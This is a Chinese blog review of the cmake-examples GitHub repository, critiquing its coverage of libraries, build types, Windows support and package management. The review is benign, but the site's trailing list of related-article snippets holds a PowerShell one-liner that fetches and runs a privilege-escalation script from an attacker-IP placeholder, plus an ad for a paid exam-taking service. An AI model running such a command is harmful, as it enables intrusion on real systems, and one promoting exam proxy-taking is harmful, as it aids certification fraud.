12k star 项目 cmake-examples 阅读和点评

12k star 项目 cmake-examples 阅读和点评

Author: ChrisZZ
Time: 2024.06.17

文章目录

  • 12k star 项目 cmake-examples 阅读和点评
    • 项目概要
    • 01-basic
      • A-hello-cmake
      • B-hello-headers
      • C-static-library
      • D-shared-library
      • E-installing
      • F-build-type
      • G-compile-flags
      • H-third-party-library
      • I-compiling-with-clang
      • J-building-with-ninja
      • K-imported-targets
      • L-cpp-standard
      • 小节
    • 02-sub-projects
    • 03-code-generation
    • 04-static-analysis
    • 05-unit-testing
    • 06-installer
    • 07-package-management
    • dokerfiles
    • 总结

项目概要

CMake 是 C/C++ 项目的主流工具, 应该有不少 CMake 用户尝试过寻找参考例子。 在 github 上搜索关键字 “cmake examples”,搜索结果中排名第一个的是 https://github.com/ttroy50/cmake-examples 这个项目, 目前12.1k star。

今天来简单阅读和点评下这个项目. 整体而言,它给出的例子都比较简单, 覆盖范围也还算比较广泛,考虑到大部分 commit 是9年前和5年前提交,对于初学者而言很多例子很容易看懂, 并且每个子目录搭配了 README 文档解释说明, 整体质量还是可以的。
不过, 类似于 CMake 官方的 CMake Tutorials(至少截止3.30-rc3的版本), cmake-examples 这个仓库也有头重脚轻、详略不当的问题, 在自定义包、 执行安装后导入等方面, 例子太少, Windows 上的 DLL 等情况没覆盖到, RPATH 也没有提及, 只能说尚未覆盖中级 CMake 使用场景, 距离实际 C/C++ 生产, 仍然有不小距离。

下面来具体看下各个目录情况。

01-basic

A-hello-cmake
B-hello-headers
C-static-library
D-shared-library
E-installing
F-build-type
G-compile-flags
H-third-party-library
I-compiling-with-clang
J-building-with-ninja
K-imported-targets
L-cpp-standard
README.adoc

本节有12个子目录,一个顶级目录的文档 README.adoc。 adoc 采用了类似 Markdown 的语法,不过稍显复杂,建议改用 markdown 比较好。

A-hello-cmake

最简单的 CMake 工程, 创建了可执行程序。 作者指定了 cmake_minimum_required(VERSION 3.5), 这是很棒的一点: 在最近的 CMake 版本中, 如果指定的最小版本小于3.5,官方会提示 warning, 即将不再支持。 因此指定 3.5 为最小 cmake 版本, 至少目前来说仍然能保持很好的兼容性。 不过如果想用一些 CMake 高版本的特性, 那还是指定更高版本, 例如3.15是一个重要的里程碑, 也可以考虑指定3.25.

B-hello-headers

以 modern cmake 的方式, 指定头文件搜索目录。

C-static-library

创建静态库, 并链接到可执行程序上。 CMakeLists.txt 里使用了4空格缩进, 差评。 好的 CMakeLists.txt 应当使用2空格缩进。

D-shared-library

一个不完整的例子, 也可以认为有点糟糕的例子。 没有指定 dllimport/dllexport 这些函数符号修饰。

E-installing

安装程序的例子。 在 linux 下可以用, 但是对于 Windows 用不了, 因为被安装的是动态库, 但是 Windows 上的 DLL 本质上和 可执行程序差不多, 算是 runtime, 而不是 library。

既然用 CMake 是为了跨平台, 那应该覆盖 Windows 和 Linux 两大常见系统, macOS 上基本和 Linux 差不多。 那没有覆盖 Windows 还算是跨平台吗? 显然这时候和 Makefile 半斤八两。

F-build-type

在样例代码中提到了 CMAKE_BUILD_TYPE 和 CMAKE_CONFIGURATIONS_TYPES, 但是文档和代码中没有对 CMAKE_CONFIGURATION_TYPES 做设定和说明, 差评。

应当提及这两个变量的区别:分别用于 single-config generator 和 mulit-config generator, 然后引申出 Visual Studio, XCode, Ninja Multi-Config. 在 Linux 上, 也是可以 Ninja Multi-Config 的,为啥不写例子呢?

G-compile-flags

糟糕的例子。应当用 cmake_compile_definitions() 替代。

H-third-party-library

引入了三方库 boost。 是一个糟糕的例子, 这个糟糕体是 CMake 自身负主要责任, 因为 cmake 只是一个胶水, 给用户提供的 find_package() 看似可以指定版本号, 但是这 boost 是 apt-get 安装的, 那么系统里通常只有一个版本, 如果有多个版本, 应该由专门的包管理器, 可以下载比如20个连续的版本, 而不是只能听从 apt-get 官方的安排, 只有零星几个版本可以选择,还未必能选择到最新的版本。

I-compiling-with-clang

例子写复杂了。 其实用 CC 和 CXX 环境变量就行了。

J-building-with-ninja

还行, 终于用上 ninja 了。但是写的太潦草, 应该拿稍微有点重量的项目, 比如 ncnn 或者 opencv, 分别用 make 和 ninja 作为 generator, 比对编译耗时。 不然为什么用户要用 ninja 呢?

K-imported-targets

导入库。糟糕的例子。 其实如果要展示 imported 库, 应该手动设置库和头文件的目录, 也就是自行创建 imported target。 不然这和用 find_package() 没区别。

L-cpp-standard

给了三种写法。注意, -std=c++11 硬编码写法显然是该删除而不应该被展示的。 如果展示, 应该展示失败的案例,例如 -std=c++17 不被 MSVC 编译器识别。

小节

01-basic 的例子其实挺多的, 新人第一次学习 CMake 看这些也还算凑合, 学一下应该能干一些简单的活儿了, 但是细节还是不太行。

02-sub-projects

A-basic
README.adoc

这一节只有一个子目录, 不免让人觉得 “萎了”。 凭啥第一节放10+个例子, 第二节就一个??

这一节只包含了最简单的 add_subdirectory 的使用例子。 仍然需要补充的例子:

  • add_subdirectory 包含的目录, 是外部目录
  • 用 add_subdiretory 的方式, 包含 fmt 源码
  • add_subdiretory 添加的目录, 是包含了 prebuilt(预编译的库和头文件), 然后手写 CMakeLists.txt 文件提供 target 供外部 CMakeLists.txt 使用

03-code-generation

README.adoc
configure-files
protobuf

这一节的两个子目录, 都还是有一定实用价值的。

不过说回来, 找 protobuf 库和编译器, 应该交给一个成熟的包管理器, 不应该依赖系统 apt 安装的。 毕竟在 Windows 上没有 apt, 但是 CMake 自称跨平台, 就不应该依赖 apt 这个特定的系统包管理器。

04-static-analysis

README.adoc
clang-analyzer
clang-format
cppcheck
cppcheck-compile-commands

这一节的内容, 包含了4个子目录, 也还算丰富。是构建完 target 后, 执行一些静态分析, 其实本质是把静态分析工具黏合起来。 在 CI/CD 中可以集成, 本地构建其实还是略显麻烦, 不如让 IDE 自动提示。

举一个更糟糕的例子吧, sonar 扫描。 如果开了 Sonar 扫描, 比如在 VSCode 里安装了插件, 各种 warning 都报告给你, 正经活儿都干不了了。静态扫描的东西,适合一段时间后开启, 不适合日常开发时每次编译都触发。

05-unit-testing

README.adoc
boost
catch2-vendored
google-test-download

包含了三个测试框架的使用例子, 对于5年前的项目来说, 还算丰富。 不过现在(2024年)来看, 建议增加几个别的:

  • catch2, 是 header-only 的
  • doctest

06-installer

README.adoc
deb

显然, 作者只考虑了 Debian/Ubuntu 这样的 Linux 发行版, 没考虑 Windows 用户。 既然使用 CMake, 要做跨平台构建, 还是推荐用 .zip 作为包名。 一定要给 .deb 的例子, 那最好把 .msi, .dmg, .rpm 也放上来。

我对制作 .deb 包没兴趣, 相信大部分 CMake 初学者对于制作 .deb 包也没兴趣。

07-package-management

A-using-system-provide-packages
B-vendoring-code
C-external-project-add
D-conan
README.adoc

这一节提供了4个例子, 对于2024年的cmake入门教程来说显然是不够的, 至少还应该添加:

  • vcpkg
  • CPM

anyway, 聊胜于无。 conan 比较好的一点是, 支持锁定版本或指定版本号范围。

使用系统库,使用 vendor 库, 这都是 CMake 官方没有提供包管理器、只想着胶水黏合的设计理念下的做法, 很容易在各个平台上表现不一样, 并不能稳定的提供跨平台的体验。

external-project-add 使用了网络下载的方式, 通常网络状况不好, 因此实用价值方面有折扣; 如果是改为内网或国内专门的镜像站点, 提供源码, 那应该还算可用。

dokerfiles

作者提供了自己环境的 docker, 包括 ubuntu14.04, 16.04, 还是比较用心的, 值的表扬。

总结

本文对 cmake-examples 仓库中的每个子目录都做了阅读和点评, 从内容分布来看, 你也可以看到“头重脚轻”的问题了。基础内容比较多, 这是 cmake 设计理念导致的; 中级、进阶内容少, 这只能说明 cmake-examples 仓库中还有待改进, 也许作者也没有很丰富的 cmake 使用体验, 那么对于稍微 senior 的 cmake 学习, 就还是另外找其他资料吧!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/28958.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

TensorFlow音频分类修复

原先传wav格式,后来发现前端生成的wav格式不完整 后端改mp3 其实是mp3和wav都可以接收 但问题是wav文件格式错误的话无法获取时长,这样也就是说只能传mp3,除非你对时长无所谓 修复TensorFlow放到生产后报错问题-CSDN博客 依赖 <dependency><groupId>org.ten…

Git--Part3--远程操作 配置 标签管理

theme: nico 远程仓库 Git 是分布式版本控制系统&#xff0c;同⼀个 Git 仓库&#xff0c;可以分布到不同的机器上。怎么分布呢&#xff1f; 最早&#xff0c;肯定只有⼀台机器有⼀个原始版本库&#xff0c;此后&#xff0c;别的机器可以 “克隆” 这个原始版本库&#xff0…

AI导航网

文章目录 1、[AI导航网](https://www.ainav.cn/) 1、AI导航网 https://www.ainav.cn/

苍穹外卖笔记-18-修改密码、bug记录

文章目录 1 修改密码1.1 需求分析和设计1.2 代码实现1.2.1 admin/EmployeeController1.2.2 EmployeeService1.2.3 EmployeeServiceImpl 1.3 功能测试 2 bug记录 1 修改密码 完结的时候发现还有一个接口未实现。这里补充 1.1 需求分析和设计 产品原型&#xff1a; 业务规则&am…

HDFS小文件过多的危害和解决方案

HDFS&#xff08;Hadoop分布式文件系统&#xff09;中小文件过多危害 1.存储空间浪费&#xff1a;HDFS是为大容量文件设计的&#xff0c;存储大量小文件会浪费存储空间&#xff0c;因为每个文件都会占用一定的存储块。 2.元数据压力&#xff1a;HDFS中的NameNode负责管理文件…

CMake从安装到精通

目录 引言 1. CMake的安装 2. CMake的原理 3. CMake入门 3.1 CMakeLists.txt与注释 3.2 版本指定与工程描述 3.3 生成可执行程序 3.4 定义变量与指定输出路径 3.5 指定C标准 3.6 搜索文件 3.7 包含头文件 4. CMake进阶 4.1 生成动静态库 4.2 链接动静态库 4.…

CTFshow之RCE代码命令远程执行第49关详细讲解。可私信!

棺材里伸手&#xff0c;死要钱&#xff01; --古吉拉特邦 莫迪大仙 引言&#xff1a;由于有些题目实在是让人抓挠&#xff0c;我看完题解后难以接受知识机械的执行获取flag&#xff0c;所以我想着尽可能用我的语言去进行解释&#xff01; 由于是验证猜想实验&#xff0c;所以…

还原其他人的软件

在开发商用软件时&#xff0c;软件的源代码是非常重要的资产。如果源代码被其他公司窃取&#xff0c;他们就能轻松地开发出类似的软件。因此&#xff0c;一般只会发布经过编译的机器语言的可执行文件&#xff0c; 对于竞争对手而言&#xff0c;软件的实现方法是无论如何都想得…

代发考生战报:HCIP H12-725安全变题了

代发考生战报&#xff1a;HCIP H12-725安全变题了&#xff0c;幸好当天找客服办理的包过服务&#xff0c;听同考场的考生说&#xff0c;考试全是新题&#xff0c;只有1-2个是题库上的题&#xff0c;自己考的都考挂了&#xff0c;帮我答题的老师很厉害&#xff0c;很赞&#xff…

GenICam标准(二)

系列文章目录 GenICam标准&#xff08;一&#xff09; GenICam标准&#xff08;二&#xff09; GenICam标准&#xff08;三&#xff09; GenICam标准&#xff08;四&#xff09; GenICam标准&#xff08;五&#xff09; GenICam标准&#xff08;六&#xff09; 文章目录 系列文…

RAG与Langchain简介

RAG与Langchain简介 什么是RAGRAG解决的问题RAG工作流程RAG调优策略LangChain简介 什么是RAG 检索增强生成&#xff08;Retrieval-Augmented Generation&#xff09;&#xff0c;主要是通过从外部给大模型补充一些知识&#xff0c;相当于给模型外挂了一个知识库&#xff0c;让…

单片机(STM32)与上位机传输浮点数

目录 单片机(STM32)与上位机传输数据的方法1. 传输整形数据2. 传输浮点数据3. 如何打包与解包 单片机(STM32)与上位机传输数据的方法 在进行单片机程序的开发时&#xff0c;常常需要与其他设备进行通信。一种情况是与其他电路板通信&#xff0c;比如STM32主机与STM32从机通信&…

胡说八道(24.6.9)——离散时间系统及simulink仿真

上回说道拉普拉斯变换的定义、性质以及在电路分析中的应用。今天先来谈谈simulink仿真&#xff0c;可为是让我非常的震惊&#xff0c;今天做了三种模型的应用。第一个是simulink中有限状态机的应用&#xff0c;用来解决一些复杂的逻辑问题&#xff0c;实现状态之间的转换。第一…

Pytorch深度解析:Transformer嵌入层源码逐行解读

前言 本部分博客需要先阅读博客&#xff1a; 《Transformer实现以及Pytorch源码解读&#xff08;一&#xff09;-数据输入篇》 作为知识储备。 Embedding使用方式 如下面的代码中所示&#xff0c;embedding一般是先实例化nn.Embedding(vocab_size, embedding_dim)。实例化的…

赶紧收藏!2024 年最常见 20道设计模式面试题(二)

上一篇地址&#xff1a;赶紧收藏&#xff01;2024 年最常见 20道设计模式面试题&#xff08;一&#xff09;-CSDN博客 三、解释抽象工厂模式&#xff0c;并给出一个实际应用的例子。 抽象工厂模式是一种创建型设计模式&#xff0c;用于创建一系列相关或依赖对象的接口&#x…

双绞线(网线)的制作与测试

实验目的 1、熟悉常用双绞线&#xff08;网线&#xff09;及其制作工具的使用&#xff1b; 2、掌握非屏蔽双绞线的直通线、交叉线的制作及连接方法&#xff1b; 3、掌握双绞线连通性的测试。 设备要求&#xff1a;RJ45压线钳&#xff0c;RJ45水晶头&#xff0c;UTP线缆&…

小白 | windows提权

1.CVE-2016-0099 (MS16-032) 这是一个Windows内核特权提升漏洞&#xff0c;利用该漏洞可以获得系统权限。 # 使用公开的POC进行利用&#xff0c;如 powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(http://<attacker_ip>/Invoke-MS16-032.ps1)…

【Android面试八股文】你能说一说为什么IO是耗时操作?

IO(输入/输出)操作之所以是耗时操作,主要是由于以下几个原因: 1. 物理设备的限制 机械动作:传统的硬盘驱动器(HDD)包含旋转的磁盘和移动的磁头,以读取或写入数据。这些机械动作需要时间完成。虽然固态硬盘(SSD)没有机械部件,但它们仍然受到电子信号传输速度的限制。…

LSTM模型预测时间序列

长短期记忆模型(Long Short-Term Memory, LSTM)&#xff0c;是一种特殊的循环神经网络&#xff0c;能够学习长期依赖性。长短期记忆模型在各种各样的问题上表现非常出色&#xff0c;现在被广泛使用&#xff0c;例如&#xff0c;文本生成、机器翻译、语音识别、时序数据预测、生…

121.买卖股票的最佳时机

给定一个数组 prices &#xff0c;它的第 i 个元素 prices[i] 表示一支给定股票第 i 天的价格。 你只能选择 某一天 买入这只股票&#xff0c;并选择在 未来的某一个不同的日子 卖出该股票。设计一个算法来计算你所能获取的最大利润。 返回你可以从这笔交易中获取的最大利润。…